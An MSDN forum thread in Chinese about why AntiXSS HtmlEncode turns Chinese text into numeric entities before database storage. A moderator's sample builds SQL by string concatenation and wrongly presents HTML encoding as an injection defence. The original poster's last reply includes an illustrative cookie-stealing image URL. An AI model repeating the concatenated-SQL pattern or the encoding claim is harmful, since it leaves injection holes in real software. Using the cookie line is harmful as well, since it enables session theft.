none
=============对AntiXSS中的Microsoft.Security.Application.Encoder.HtmlEncode方法相当不解============= RRS feed

  • 问题

  • 很简单的一句:

    string str = Request.Form.Get("txt");
    str = Encoder.HtmlEncode(str);

    如果txt传递的是中文“你好”,Encode.HtmlEncode后是 

    你好

    可是我不能将这样的字符保存到数据库吧?这样DBA则不是要疯了,我自己查问题也相当不方便啊。

    请问大家如何解决这样的问题。谢谢。

    2012年3月8日 12:00

全部回复

  • hi heywap,

        Encoder.HtmlEncode只是用来对HTML代码进行编码的,跟向数据库中保存是没有关系的,并且被编码之后的代码存到数据库中也是没有意义的。

        AntiXSS我没有用过,但是对他了解的是它是用来过滤危险代码的,你可以在存入之前过滤然后存入数据库或者直接保存后在从数据库中取出时过滤后返回给客户端,而并不需要对他编码。

    2012年3月9日 8:21
  • 你可以在存入之前过滤然后存入数据库

    这不是在存入前编码吗??可是这一编码就成那样了啊。。。。
    2012年3月11日 14:56
    • 已合并 Lie YouModerator 2012年3月14日 5:54 Merged them to keep good discuss.
    2012年3月13日 0:45
  • 你好heywap:)

    如果取出的中文字符串是“您好”,直接存储进入数据库可以吗?不进行Encode呢?
    或者在存储前Decode一下,然后再存储试试看。


       QQ我:讨论(Talk)
    下载MSDN桌面工具(Vista,Win7)
    我的博客园
    慈善点击,点击此处

    2012年3月13日 1:50
    版主
  • 使用HtmlEncode的效果就是这样的,所以在存入数据库之前是没有必要encode的,这样所有编码后的东西存到数据库里面是没有意义的。往数据库里存放是不需要编码的。

    2012年3月13日 3:19
  • 感谢您的回复。

    Microsoft.Security.Application下没有解码函数。

    另外,Encode的目的就是为了安全考虑。
    2012年3月13日 3:20
  • 感谢您的回复。

    Microsoft.Security.Application下没有解码函数。

    另外,Encode的目的就是为了安全考虑。

    你好 不就是一个10进制的unicode编码而已,自己写个解码函数就好了,在存放数据库之前把需要的数据解码后再存放,何必搞得这么复杂

        Function UnicodeDecode(text As String) As String
            Dim mc = Regex.Matches(text, "&#([\d]{5});")
            If mc IsNot Nothing AndAlso mc.Count > 0 Then
                For Each m As Match In mc
                    Dim v = m.Value
                    Dim word = CInt(v.Substring(2, 5)).ToString("x")
                    Dim codes(1) As Byte
                    Dim code = Convert.ToInt32(word.Substring(0, 2), 16)
                    Dim code2 = Convert.ToInt32(word.Substring(2), 16)
                    codes(0) = CByte(code2)
                    codes(1) = CByte(code)
                    text = text.Replace(v, System.Text.Encoding.Unicode.GetString(codes))
                Next
            End If
            Return text
        End Function
    
    Console.WriteLine(UnicodeDecode("你好"))


    算神的博客

    2012年3月13日 9:59
  • Hi heywap,

    对于这种情况为什么要进行Html编码解码呢,完全没必要,Html编码解码是专门针对像Html代码中一些字符会和sql语句冲突而存在的。
    比如我有一个User表,我拿它的user_name字段做演示来存入html代码, button1是存入代码, button2是获取刚刚存好的代码:
            private void button1_Click(object sender, EventArgs e)
            {
                using (SqlConnection conn = new SqlConnection(ConfigurationManager.ConnectionStrings["CONNSTR"].ConnectionString))
                {
                    string sql = "INSERT INTO [User](user_name,user_age) VALUES('" + HttpUtility.HtmlEncode(textBox1.Text) + "',12)";
                    using (SqlCommand cmd = new SqlCommand(sql, conn))
                    {
                        conn.Open();
                        cmd.ExecuteNonQuery();
                    }
                }
            }
    
            private void button2_Click(object sender, EventArgs e)
            {
                using (SqlConnection conn = new SqlConnection(ConfigurationManager.ConnectionStrings["CONNSTR"].ConnectionString))
                {
                    string sql = "SELECT user_name FROM [User] WHERE user_id=(SELECT MAX(user_id)  FROM [User])";
                    using (SqlCommand cmd = new SqlCommand(sql, conn))
                    {
                        conn.Open();
                        label1.Text = HttpUtility.HtmlDecode(cmd.ExecuteScalar().ToString());
                    }
                }
            }

    如果存入的是这样的代码<input id="code" type="text" />, 是没有什么问题的,而<input id='code' type='text' />这样的html代码,其中的 ' 符号就会和sql的语法冲突,html编码就会解决这个问题。
    像Sql注入攻击也是用了同样的原理。

    为了方便,代码里我用的System.Web.HttpUtility的编码和解码方法,一样的。

    祝你快乐每一天,

    Leo Liu [MSFT]
    MSDN Community Support | Feedback to us

    2012年3月13日 11:48
    版主
  • 感谢您的回复:

     string s = "<a href='http://www.microsoft.com'>microsoft.com</a>";

    假设从客户端input从输入以上<a href=.....

    s = HttpUtility.HtmlEncode(s);
    向上面这样编码。得到这样:&lt;a href=&#39;http://www.microsoft.com&#39;&gt;microsoft.com&lt;/a&gt;

    用这样的格式保存到数据库后,再读取出来
                string k = HttpUtility.HtmlDecode(s);
                literal1.Text = k;

    结果在网页上就会显示一个完整的超链接。显然从库中读取时应该是编码后读出。而解码正好是弄反了。
    另外,据我所知,AntiXSS中的一些方法也将在.net 4.5框中出现。如果HttpUtility.Encode与
    Microsoft.Security.Application.Encoder.HtmlEncode的用处是完全一致的话,就没有必要增加这些类,不是吗?

    还有,我假设我期望用户在文本框中输入一个图片的文件名,期望这样:
    /path/1.jpg,但是用户输入的是

    http://www.antixss.com/?cookie=document.cookie

    而我想当然的这样给图片路径赋值

    image1.src=http://www.antixss.com/?cookie=document.cookie

    这样的话,就会将当前用户的cookie的数据发往antixss.com这个域了。

    所以,我认为Antixss中的Encode的用法与HttpUtility.HtmlEncode是不一样的。
    侧重点不同。
    似乎在中文环境中使用Antixss的Encode不太符合中文语言。
    2012年3月13日 13:13